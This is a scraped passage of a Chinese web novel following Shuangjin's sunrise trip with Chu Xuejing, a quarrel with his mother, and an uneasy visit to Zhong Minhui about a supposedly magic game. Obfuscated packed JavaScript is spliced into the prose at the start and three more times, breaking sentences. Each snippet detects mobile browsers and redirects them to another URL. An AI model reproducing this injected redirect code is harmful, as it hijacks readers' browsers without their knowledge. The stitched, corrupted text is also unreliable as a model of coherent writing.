l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742839|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,等我结束了打工我们再去吧。” 和楚雪镜约会之后就去找工作,他真的是这么打算的,这不能算说谎。 而且他嘴上这么说,实际上是希望拖延时间,到时候钟敏卉忘记这回事。 但钟敏卉说:“你不要去打工,我给你。” * 双锦当然不肯要他的钱。 而且他也不认为钟敏卉有很多钱。 但是钟敏卉坚称自己有钱,双锦要多少都可以给他,他表现出来的奇怪自信和执着在那张不太漂亮但是还算可爱的上很违和。 在双锦拒绝紧紧抓住他的手不肯撒手,力道大到让双锦的手腕骨骼都隐隐作痛。 “敏卉你放手,我很疼!”他这样说,皱着眉用另一只手去推他,但完全推不动。 钟敏卉也没有因为他说疼就放开。 双锦不知道他原来这么有力气,好像不答应的话就永远无法挣脱。 这本是你情我愿的事,就像楚雪镜给双锦钱,那笔钱像及时雨一样出现在双锦的窗台,双锦愿意接受于是就心怀感激地用了,但如果他非要拒绝,楚雪镜也不会这样逼迫他。 对,就是逼迫,双锦拒绝了好几次,但结果就是两人一起摔倒在地板上。 他从地上爬起来,想逃走,但又被钟敏卉抱住腿。 他抱着双锦的一条小腿呜呜地哭,泪水湮湿双锦脚踝的皮肤,像小虫子一样爬行。 好像双锦做了什么伤害他的事。 这种感觉实在太怪异,如果这是古含林,双锦会毫不犹豫地踹他一脚,但这是钟敏卉,钟敏卉总是看起来很柔弱,一双眼睛圆而澄澈,像小孩和女孩的眼睛,双锦下不去脚。 最终他借了钟敏卉几百块钱,并且再三强调一定会还给他。 钟敏卉不要他还,要他陪自己去莲花池,双锦犹豫之后还是咬牙同意了,但时间顶在和楚雪镜的约会之后,如此才把他送走了。 就这样有了钱,双锦也不知道该不该开心,好像不是很开心。 他觉得钟敏卉怪怪的,脑海中有个不太礼貌的想法,他怀疑钟敏卉精神不是很健康。 怎么会有人非要送钱给别人,对方不接受就哭得喘不上气,脸红肿得发紫像要窒息。 双锦最后借了他的钱的一个原因是他担心钟敏卉哭死了,而且他也有点怕那样的钟敏卉。 几天后他把这件事告诉了楚雪镜。 那笔钱他没有用,而是换成现金交给了楚雪镜。 楚雪镜接过那笔钱的时候只是诧异,听到他说钟敏卉去家里找他了后脸上的笑容肉眼可见地淡去,长睫后目光变得幽沉晦暗,“这是他给你的钱?” 双锦点头,把当天的事说了一遍,淡色的眉蹙着,对这件事感到麻烦,“他看起来不太正常,我怕他哭坏了就借了,之后我借口说用完了要还给他,但是他不收,我想你是他的亲戚或许他会……” “小锦,我会替你还给他,”楚雪镜罕见地打断他说话,他表情不明显,但脸色绝对称不上好看,“以后不要让他去你家,不要对他说你的私人信息。” 双锦轻声辩解,“我只说了一次。” 但楚雪镜说:“他的记性非常好,听到看到的东西都不会忘。” 这话让双锦一惊,钟敏卉有这种能力吗,“那为什么他文化课一般?” 楚雪镜蹙眉,他似乎想说什么,但却转移了话题。 他忽然勾唇,温柔一笑,浓丽精致的五官顿时活色生香起来,“小锦,我带你去看山顶日出吧,我记得你一直想看。” 他提到这个,双锦惊喜,便不太关注别的了。 双锦也是个追求浪漫的人,他确实想看,只是不舍得花钱,但和楚雪镜一起完全不必考虑这些,两人当天下午就坐上了动车。 看日出的山是一个很热闹的景区,距离他们居住的地方有大几百公里,双锦一直想去却没能去成,现在终于踏上了旅程,他看着窗外匆匆而过的光景,在楚雪镜为他梳理头□□乱的头发时,欣喜地转头蹭了蹭他的掌心,“雪镜!” 楚雪镜顿了下,神情变得很柔软,抬手捏了捏他的脸。 双锦一直欢欣到车辆到站,从车上下来时才想起来和钟敏卉的约定。 这么远的路程,还能赶回去见钟敏卉吗? 22.日出 能不能赶回去赴钟敏卉的约这个问题很快就被双锦抛之脑后了。 他想,大不了找个借口拖延两天,就说出去找工作了或者去姐姐家了,钟敏卉又不会知道,反正他只是想出去玩,又不是什么要紧的事。 高铁入站,再打车去景点,如此一套路程赶完已经是下午了。 楚雪镜一早在车上就定好了酒店,等到赶到景点后恰好可以去洗漱休整。 双锦以为他是要当天夜里就爬山,没想到他打算休息一晚上,第二天在景区游玩一天吃饱喝足再上山。 他内心其实是很认可这个安排的,因为从下车那一刻就觉得累了,脑袋晕晕的。 以前爸妈关系不算好,一家子鲜少出去旅游,坐车的过程比他想象得更辛苦。 不过…… “我们……还是今晚就上山吧。”双锦搓了把脸,强迫自己提起精神来,他不想去酒店休息。 一个是旅游城市很热闹,车站人山人海都是背着行李包的游人和青春光鲜的年轻人,看着他们就不由自主地感染到这种活力,双锦也跃跃欲试。 还有一个是他不知道楚雪镜开了几间房,如果只有一间房会很尴尬,双锦不好意思问,也就不想去休息了。 楚雪镜也没坚持,两人用完晚餐后就上山了。 “要步行还是坐缆车上去?”途经缆车口的位置时,楚雪镜问他。 双锦想着现在时间还早,日出要第二天早上才能看到,况且好不容易来玩当然要自己参与。 “山上的空气很好,我们爬上去吧。” 山上确实空气好,风景也极美,放眼望去山峦重叠,翠樾成荫,许是山林间湿气重,隐约有乳白的山岚漂浮在高耸的山头。 吸入肺腑的空气很清爽,双锦将登山杖塞到楚雪镜的手中,自己一口气爬了半个小时才想起身后的人,站在台阶上向楚雪镜挥手:“雪镜,你好慢呐——” 楚雪镜慢悠悠地跟在他身后不远处,听到他唤自己扬起脸,冷玉似的面上一双黛色的眉眼,漂亮得像山里的精怪。 双锦喊完才想起来这里有好多人,偷偷瞥了眼周围游客,果然从他们的脸上看到意味深长的笑意。 也不知都人家是嫌他吵还是笑话他,他有种心思被看透的感觉,觉得脸热乎乎的,不自在地转过身去不看楚雪镜了。 景区充满活力的气氛感染了双锦,他想一口气爬到山顶,让楚雪镜追不上自己。 但实际上只不过又坚持了二十分钟就败下阵来。 他坐在路边的石头围阶上,两条小腿酸软,脚也很痛,在听走过的路人说至少还要三个多小时才能到山顶时已经后悔当初没坐缆车了。 在这里静坐着后悔了几分钟,楚雪镜姗姗来迟。 和双锦预想的不太,楚雪镜完全没有疲惫的感觉,脸上的皮肤还是清爽干净冷白如霜,只是鬓角有微微的汗湿,那一点汗可能还是因为天气热而不是爬山。 他如此从容,双锦毫不怀疑他真的可以一口气爬到山顶,他想起楚雪镜当初可以一个人抗走两百多斤的衣柜,顿时更后悔了。 爬不上去的话可以让他背吗? 这个想法不知道怎么冒出来的,双锦赶紧摇头晃散这个奇怪的念头,怎么能让他背呢?他又不是柜子也不是小宝宝。 于是楚雪镜走到跟前时,他硬着头皮站起来,拍拍裤子上的灰尘,状似从容地说:“走吧。” 说完他又从楚雪镜手中要回了那根自己的登山杖,小声补了一句:“我走太快了吧,接下来我走慢一点等等你吧。” 不知道是不是错觉,说完后他觉得楚雪镜好像轻笑了一声。 双锦生怕他笑话自己,顿时狐疑地偷偷瞟他的脸。 但楚雪镜脸上的表情看起来很正常,还在双锦打算继续前行时拉住他说:“小锦,我有些累了,再休息一会儿吧。” 双锦正有此意,闻言又坐下了。 “那我们再休息一会儿吧。” 楚雪镜从背包中取出矿泉水拧开递给他,双锦呼吸着山间清凉的空气,小口小口地抿了一会儿,听他说:“前面七百阶台阶后有个山上电影院还有缆车点,可以坐车到山顶,小锦想去吗?” 还有这种好事吗?双锦当然想去。 虽说七百阶听着很吓人的样子,算一算相当于五十多层楼,但爬七百阶台阶总比爬上山顶要轻松吧? 双锦作为青春男孩子,虽然瘦弱一些但是一口气也可以爬十层,那五口气不就爬上去了吗? 如此想着他们出发了,事实证明他低估了大自然的力量,又高估了自己的力量。 这七百阶台阶好像爬过了双锦这辈子爬过的所有楼梯,后面楚雪镜的手臂穿过腋下,将他半搀半抱上来的,等快到影院的时候双锦已经像只脱力的猫挂在他的身上,彻底装不了体面了。 他说:“我再也不想爬山了。” 说这话时那张白皙的脸上因为疲累洇红一片,眼角也气血上涌泛起水润润的红,好在山上的风如同自然空调,非常凉爽,汗水刚从额头冒出来就被吹干了,看起来可怜但不算狼狈。 楚雪镜抬手蹭去他眼尾窝中藏着的一汪汗珠,闻言弯起眼睛笑起来。 他长得好看,在山野中好像出尘的山妖,但不妨碍双锦生气,抿着唇不想理他。 出乎双锦的意料,山上的影院居然很不错,环境干净整洁,装修风格也和山下城市中的没区别,十分先进,双锦甚至还发现了很知名的一些奶茶店。 或许是七夕快到了,场内的影片大多是爱情片。 他都没看过不知道该看什么,于是让楚雪镜随便选了一个。 楚雪镜盯着大屏幕沉思了一会儿,双锦不知道他买了什么片子,反正过了一会儿后见他抱着一大桶冰激凌回来了。 那桶冰激凌被塞到怀里时带来的重量让双锦十分感慨,真是好大一桶啊,感觉会有一千克。 应该是为情人节专门准备的,冰激凌膏体是粉色的,最上层还用巧克力奶油塑造了一些小熊和桃心的造型看起来像个浪漫精致的情人节蛋糕。 本来乖巧坐在他身旁等妈妈买票的小男孩看到冰激凌的一瞬间瞪大了眼睛,噔噔后退两步一边喊一边跑去找妈妈,“妈妈我也要冰激凌——” 年轻的妈妈正在取票,闻言嗔骂了一句:“我看你像冰激凌!” “我就要我就要,我要和那个哥哥一样的小熊冰激凌!” “我把你塞冰箱里冻成熊!” 小孩哭喊起来,双锦抱着冰激凌桶有些尴尬,好在电影很快就开场了,他拉着楚雪镜匆匆进去了。 冰激凌很大,里面有两个勺子,双锦很爱甜的东西,进入影厅后就迫不及待打开了,他把一个勺子分给楚雪镜,然后迫不及待地舀了一勺。 粉色的奶油是草莓味的,鲜甜冰凉,进入滚热的口腔的感觉很舒服。 楚雪镜只吃了没几口就好像没兴趣了,专心看起电影来。 双锦将整个桶抱进怀里和冰激凌搏斗,他觉得那只巧克力的奶油小熊笑眯眯的有点像楚雪镜,于是把它的屁股舀下来吃掉了,吃完还偷偷看了眼楚雪镜。 楚雪镜正在聚精会神的看电影,变幻不断的彩色光影落在他白皙通透脸上,眉骨鼻梁看起来高挺隽秀,偶尔扇动的睫毛像黑蝴蝶的小翅膀,好像完全没注意到他的小动作,注意到了估计也看不懂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753769|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电影有这么好看吗? 双锦这才关注到影片,一看才发现竟然只是一个俗套的甜爽题材。 小白花真千金与富家太子爷在大学时一见钟情,恶毒假千金嫉妒女主的美貌和真千金的身份,以及男主对她的偏爱,于是诬陷女主并抢夺家产,接下来就是老套的打脸和甜宠情节。 这种剧情在十年前风靡一时,但现在再看就老套了,三观也跟不上时代,看得双锦想睡觉。 但是他看楚雪镜在看感到很惊讶,“你喜欢这个电影吗?” 楚雪镜看似在认真看电影,但双锦说话后他很快摇头,“不喜欢。” 双锦问他:“那你还看?” 结果楚雪镜说:“女配还是很有趣的。” 女配?双锦看着大屏幕上人物思索,楚雪镜喜欢这种坏坏的人物吗? 双锦没看懂,但是演员的长相很好看,面容淡雅温柔。 女主角也漂亮明艳,是个骨相深刻的大美女,男主就还算是个人。 双锦顿时不满起来,为两个女演员愤愤不平。 如果他是女配他才不要争这种男人,他要和女主在一起和和美美。 等等,这什么百合剧情? 双锦赶紧摇头,他在想什么…… 电影结束后大堂还有周边卖,是一些Q版动漫毛绒人物,是这个原著小说的漫画衍生品。 双锦只是看了看,却看到楚雪镜去买了,而且他嘴上说喜欢女配这个坏坏的角色,买的却是小白花女主。 这个虚伪的人。 于是双锦花十五块钱买了个女配,真人女配长得温柔淡雅,这个Q版动漫人物倒是雄赳赳气昂昂,一只手叉腰,另一只小手举起,皱着小眉毛,显然是一个骂人的姿态,看起来任性又可爱。 双锦用玩偶的小手去打楚雪镜攥着玩偶的修长手指,“不是说喜欢我吗?让你骗我!” 他鲜少这样活泼,打着打着自己把自己逗笑了,拿着玩偶乐不可支。 直到眼前忽然投下一片阴影,双锦眨了眨眼睛,抬起头来。 楚雪镜正低头看着他,从这个角度能看到他密匝匝的睫毛,睫毛下的眼睛清润如水,他叫了声小锦,微扬的唇向双锦靠近。 心脏好像停跳了一瞬,双锦想说电影院还有好多人呢,但却只是闭上眼睛,睫毛随着不安的眼珠颤抖。 “走啦,该上山啦。” 良久后,楚雪镜忽然说话,声音中饱含戏谑的笑意。 被骗了。 双锦脸刷地一红,气极地想给他一下又觉得那样反而更像恼羞成怒,于是愤愤地不理人。 夏季日出早,凌晨四点半时第一抹红从与天相接的海角跃出,迅速在海上云雾和云层中洇染开,变成浪漫的桃粉和柔软的宫黄,等到那一轮浑圆炽热的红日完全浮出水面,攀上天际,融金似的光辉便喷薄而出,金光倾泄。 实在是万丈光芒,像前路光明美好的人生大道。 双锦被光刺得眯起眼睛,通过在睫毛尖上散开的光晕感受这一刻的壮观。 脸颊上忽而被蹭了一下,触感微凉柔软。 心脏不由自主地加速,像为日出歌唱跳动的鸟,身旁人身上淡淡的香味混在湿润清冷的山间空气中萦绕在鼻端。 “小锦,祝你此生顺风顺水,称心如意。” 双锦将这句话在心中默念了一遍,他知道这时候应该回以祝福的话,但却只是轻轻含着下唇没说出口。 心中想得其实也不是祝福。 他想,和楚雪镜一起真的很快乐,他希望以后天天能和楚雪镜在一起,人生很短,双锦不求永永远远,只想要这短暂的一辈子。 23.喜欢,讨厌 从小清古山回来已经是一个周之后的事了。 双锦此行玩得很开心,旅行虽然劳累,但回来时脸颊肉眼可见的丰润了很多。 他嫌累不想带纪念品回家,就把东西都交给了楚雪镜,只带了那个女配玩偶回去。 回家后双锦把玩偶放在床头柜上,洗漱之后躺在床上思考一些有的没的东西。 他想楚雪镜为什么喜欢女配呢,她不是坏坏的吗?难道他喜欢坏坏的人吗? 他又想,他真的没钱了,必须要去找工作,在暑假结束之前挣到大学的生活费和学费,这些钱妈妈都没有提,大概是不打算给他了。 他还想,他和楚雪镜应该算确定关系了吧,那他不想去发传单了,他要找个不那么风吹日晒的工作,以免弄得自己很狼狈。 脑子里想法很多,归根结底都是少年心里感情和钱的困扰。 如此漫无边际地胡思乱想,双锦缓缓闭上了眼睛,身体的疲惫让他有些昏昏欲睡。 但意识即将陷入黑暗之时,他忽然听到客厅传来奇怪的声音。 像是拖动物体和扔东西的声音,不像是贼,如果是贼未免也太嚣张了。 况且双锦的母亲为了维持生活卖了很多家具和家电,客厅只有必备的几样东西,看起来空荡荡的,应该不至于招贼。 但双锦还是很警惕地没走出卧室,只是打开房门向外看了看。 客厅里果然不是贼,而是一个高挑纤细的女人,她背对着双锦,身材凹凸有致,留着一头及腰的长卷发,脚上是一双细跟高跟鞋。 双锦看到她的脚边躺着一个大尺寸的行李箱,身旁的沙发上堆着很多衣物和生活用品。 “妈妈?”他叫了一声。 女人闻言回过头来,露出一张未上妆的脸。 那张脸已经有衰老的痕迹,眼角的细纹很明显,面中和嘴角也略显松垮,但还是能看出她是个美人,美丽与衰老在她的身上并存,像一朵衰败了但尚存一缕芬芳的花。 “小锦!”女人看到儿子的瞬间露出一个笑容,她把手里正在整理的衣服随手扔下,踩着高跟鞋迈着轻快的小步子走到儿子身边,想拥抱却又犹豫了,只握住他垂在身侧的手腕满怀心爱地仰视着他,“我回家时叫了你,你没动静,妈妈以为你不在家呢。” 她很喜悦,却感染不了自己儿子。 双锦抿着唇,视线始终停留在她身后那堆衣服上,“你和赵叔叔还没有分手吗?” “你这孩子,怎么天天盼着妈妈分手呢?”女人露出委屈的神情,手摸了摸儿子的头发还想捏儿子的脸,但被躲了过去,她脸上的笑容顿时淡去,像个孩子一样失落地低下头。 像是迫切想要得到自己孩子的认可,她想到什么又握住双锦的手向他笑,“妈妈听你的,他没工作不和他结婚,但是他找到工作了,一个月能赚六七千快,妈妈和他在一起,到时候让他给钱供你上学。” 说完她又迈着小步子回到客厅,从一堆乱起八糟的衣服中找到一个有些变形掉皮的大牌包,她拿着那个包回来,从中翻出几张一百块往双锦手里塞,“妈妈好久没给你钱了,你过得还好吗?这些钱你先拿着,过两天妈妈再给你。” 双锦垂在两侧的手紧握成拳,不肯张手,他听着女人的话狠狠闭了闭眼,良久后才吐出一口气,声音还是很轻柔,但哑哑的。 “为什么要和爸爸离婚呢?你们在一起的时候他每个月给你一万多块,赵叔叔赚六七千块还要还债,能给你什么呢?” “你不懂,”女人忽然打断他,她很不高兴,但很快又面色柔和起来,耐心地和儿子说,“多少钱不重要,重要的是心,妈妈的第一任男人不爱妈妈,你爸爸也不爱我,但是你赵叔叔很爱妈妈,所以吃点苦没什么,妈妈愿意和他吃点苦。” “为什么?” 女人慈爱地握住他的手,“你还小,不懂,但记得以后找另一半时要听妈妈的话,对方是不是别人口中优秀的人不重要,重要的是爱你,不然你会发现你很难真正地得到他,宝宝,妈妈说这些都是真心的,希望你以妈妈为戒,希望你幸福。” 但是双锦并不认同,他还是想让妈妈和姓赵的男人分手。 两人再次说冷了脸,最后再次不欢而散。 女人走后,双锦也不想睡觉了,他去客厅打开电视,一边听着电视里杂乱的声音一边胡思乱想。 钱怎么会不重要呢?如果没有钱就很难生活,就不能去上高考前的特训,或许就不能发挥得那么好,就不能和楚雪镜上一个学校,也不能去想去的地方旅游,还要在很热的夏天去打工。 优秀的人也没有那么难以得到,楚雪镜先喜欢他的。 他对楚雪镜很满意,如果按照妈妈的说话应该放弃楚雪镜去和别人在一起,就比如钟敏卉。 钟敏卉那天的奇怪行为让双锦猜到他可能喜欢自己,但是他一点也不想和钟敏卉在一起。 钟敏卉的长相、性格、成绩,以及……钱,都和楚雪镜没法比。 即便没有楚雪镜双锦也不会选择他。 必须去和他说清楚了。 * 和钟敏卉的约定已经过去了两天。 猜到可能不能及时赶回来的当天,双锦通过社交软件给钟敏卉发了消息,但是没得到回复。 他不知道钟敏卉的手机号于是也就没给他打电话。 旅行回家的第二天,双锦找到了钟敏卉的家,北面老城区的旧小区里一座不起眼的住宅楼。 双锦只来过一次,以前念高中时候有一次钟敏卉生病请假,他的雕塑工具落在了学校,双锦帮他送回来了,他只在楼下站了一会儿并没有上楼。 这一次还是第一次进房子。 总是听说钟敏卉家条件不好,但是他家的房子其实也不能算非常差,只是比较旧。 房门前的门铃坏掉了,双锦只能拍门,“敏卉,你在家吗?” 他叫了两声,然后听到室内传来一阵急促的脚步声。 接着房门被打开。 “小锦!”钟敏卉穿着一身整洁的家居服,扬起脸向他露出一个羞赧又喜悦的笑容。 据说钟敏卉有一个比自己大十几岁的姐姐,姐弟两人相依为命,这应该是真的。 双锦在玄关的鞋柜旁看到了女士高跟鞋,一双透明鞋面的红底高跟鞋。 双锦的母亲曾经也有一双,所以他知道这是一双大牌鞋,价值大几千。 除此之外他还在沙发上看到了一条真丝裙子,和鞋子一样都是随意地扔在那里,之所以注意到它是因为裙面材质极佳,即使在光线暗淡的室内仍然展现出珍珠似光彩。 一个成熟的女人有这些行头很正常,但不正常的是它们出现在陋室,并且没有任何被珍惜的痕迹。 双锦将手中的袋子递给他,“你的衣服,已经洗干净了,上次忘记让你带走。” 钟敏卉双手接过来,很珍惜地抱在怀里。 随后他找来一双干净的家居鞋让双锦换上。 双锦进入室内,不可避免地就会看到室内的情况。 老住宅区的采光不太好,即使在白天光线也有点晦暗,设计和装修非常简单,甚至可以说廉价。 头顶的灯是老式的长灯管,家具几乎没有实木的。 沙发很小,沙发套已经洗得褪色,茶几旁有一个放遥控器的矮柜,竟然还是网购的拼接款,至于泛黄的墙壁和老旧开裂的地板砖就更不必说。 这绝不是一对富裕的姐弟。 钟敏卉走在前面,他从阳台上找到一个折叠小凳,然后领着双锦去他的房间。 这是一个有单身女性的家,双锦也担心在外面不小心看到什么冲撞了人家,于是跟着他来到房间。 房间里,台式电脑的显示屏还亮着,钟敏卉上前把椅子拖出来让双锦坐,然后把折叠小凳放在电脑桌前自己坐。 “小锦你坐,椅子有点旧了但是不脏的,只是擦洗不干净了而已,如果你嫌弃也……也可以坐我的床,我的床很干净!都是新换洗的床单被套。” 双锦摇摇头,还是坐在了椅子上。 他想谈感情的事,让钟敏卉对自己死心,不要对自己有非分之想,他喜欢楚雪镜。 但事又不好直接说,得借个话题,借个什么话题呢? 思考这个问题的时候他无意中看到钟敏卉的电脑屏幕,随意地问了句:“你在看电视吗?” 这只是随意的一问,看或者不看双锦根本不放在心上,但是钟敏卉的反应却出乎意料的大。 他本来还在低着头研究折叠凳,闻言猛然一顿,倏地直起身来摸上鼠标。 这个动作应该是想要关上电脑的,但是不知怎么的,他没关,而是转头看了一眼双锦。 这个眼神极为怪异,让双锦瞬间皱起眉。 虽然不知道钟敏卉做了什么,但是这个眼神中的情绪让他非常熟悉。 以前妈妈把姓赵的男人带进家里,被早早回家的双锦撞到了,女人就是用这样的一个眼神看他的。 这是一种心虚和被发现的惊吓。 钟敏卉做了什么见不得人的事吗? 双锦生怕和自己有关,瞬间警觉起来,看向电脑屏幕。 这回他看得仔细,发现钟敏卉并不是在看电视。 屏幕里的画面是一个人物立绘,不断重复着僵硬的眨眼和张口的动作,而立绘下面有一个对话框,上面显示着一行文字。 双锦看不清是什么,但是这似乎是个游戏,立绘人物看起来很正常,并不像是限制级的,他想不通钟敏卉心虚什么,于是干脆直接问:“这是什么?” 钟敏卉低着头看了一会儿自己的屏幕才说:“游戏。” 果然是游戏,可这有什么好心虚的呢? 他又不是班主任,况且钟敏卉是已经高中毕业的成年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753770|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人了,玩游戏没什么。 钟敏卉怪怪的,他不欲再围绕游戏浪费时间,准备开门见山。 但是钟敏卉却先他一步问了一个很奇怪的问题。 “小锦,你听说过爱情海吗?” 爱情海? 这个名字让双锦有点熟悉,他略一思索就想了起来,“听说过。” 一款据说有魔力的游戏,能让玩家进入到另外一个世界,这个谣言也不知道怎么传出去的,一时疯传,导致双锦生活的小镇上游戏光碟都滞销了。 他有一种不好的预感,视线停留在钟敏卉的电脑屏幕上。 钟敏卉点头承认了,然后他给了双锦关于这个游戏的另一个说法。 “小锦,你有特别讨厌的人吗?” 特别讨厌的人? 每个人都有讨厌的人,厌恶是人与生俱来的天赋,双锦当然也有,就比如妈妈的男友赵先生。 他有一双不老实的眼睛,眼球总是在不大的眼眶中乱转,像在窥视什么或者计划着什么坏事,而且他第一次见到双锦就动手动脚地想去捏他的脸,双锦认为这个人不正经不可靠,对他感到厌恶。 但要说非常厌恶倒也没有,他的情感天生偏淡,不是那种负面情绪强烈的人,正面情绪也不多。 于是他诚实地说:“没有。” 钟敏卉向他笑了笑,下一瞬又敛了笑意,“那你有特别喜欢的人吗?” 他的眼睛直视着双锦,两只手紧握在一起,关节用力到泛白,似乎在很紧张地等待一个回答。 但这一回双锦很久没说话。 他喜欢楚雪镜,但不知道对楚雪镜算不算特别喜欢。 特别喜欢应该是怎样呢? “我不知道。” “真好,但我都有。”钟敏卉紧握的双手松开。 他在电脑桌前坐下来,手重新放到鼠标手,但没有点动。 他像在对自己说话,喃喃自语,“让喜欢的人喜欢上自己,和让讨厌的人去死,如果可以选择我该怎么选呢?” 双锦觉得他的状态不太对劲,“这应该不是可以选择的。” 但钟敏卉又说:“假设嘛,假设有这样一个机会……” “我不明白你的意思,是游戏让你选吗?如果是的话那你随意,”双锦说,“但如果你是想说这个游戏有这样的力量,那这是不可能的敏卉。” “我觉得可能的。”钟敏卉放下鼠标,“你等等,我给你看个东西。” 双锦看着他走出卧室向另一个房间走去,房门打开的瞬间有一种女士香水味传出来。 然而双锦已经失去了耐心,不想再继续呆下去,准备不告而别。 钟敏卉不知道在姐姐的房间翻找什么,双锦都走到客厅了才发现。 “小锦!” 双锦不打算理他,但是刚走了两步他忽然听到什么东西掉在地上的声音,像是很多珠子在地板上滚动。 脚下好像踩到了什么,双锦低下头去,接着他忽然一顿,缓缓抬起头来看向身后。 他的身后钟敏卉怀里的东西在陋室中熠熠生辉,夺目的光华从他怀里流淌在地板上,让整个室内蓬荜生辉。 那是满满的一捧珍珠,硕大饱满,光泽明亮,皎如明月。 “小锦,”钟敏卉怀抱着那一捧光明走到怔住的双锦身前,“这是我姐姐的,我姐姐见过人鱼。” 双锦不可置信,“你是说儒艮?” 儒艮,一种海洋动物,据说是人鱼的原型。 但钟敏卉却摇头,“是人鱼。” 钟敏卉有神经病。 双锦后退两步,转身欲逃。 但身后的人立刻上前拉住他,怀中的光明碎了满地,让人举步维艰。 “我说的是真的小锦,现在我姐姐有很多钱,我也有钱了,我们马上就要换更大的房子,你需要多少钱我都可以给你。” “你不想让我玩爱情海我就不玩了,那本来也不是我的,只是我听说它很有魔力,所以好奇才拿来的。” 双锦被他拉扯着,视线再一次从鞋柜旁的高跟鞋上划过。 “你……从哪里弄来的,还是还回去吧。” “好。”钟敏卉很听话地点头。 “你别生气了小锦,我只是听说它很厉害,能让讨厌的人倒霉还能让喜欢的人喜欢自己,我没真的想这么做,可是谁会不好奇呢?” 双锦甩开他,“我对这个没兴趣,敏卉,我不生你的气,我只是想回家了。” “……好,但你等等我。” 双锦不知道他让自己等他什么,只见钟敏卉走进卧室,很快又拿着一个黑色的光盘回来了,光盘很平常,看起来和影片光盘无差。 他来到双锦的身边,将光盘递给双锦。 笑着说了一句让双锦心中一凉的话。 “我从雪镜那里偷来的,你可以替我还给他吗?”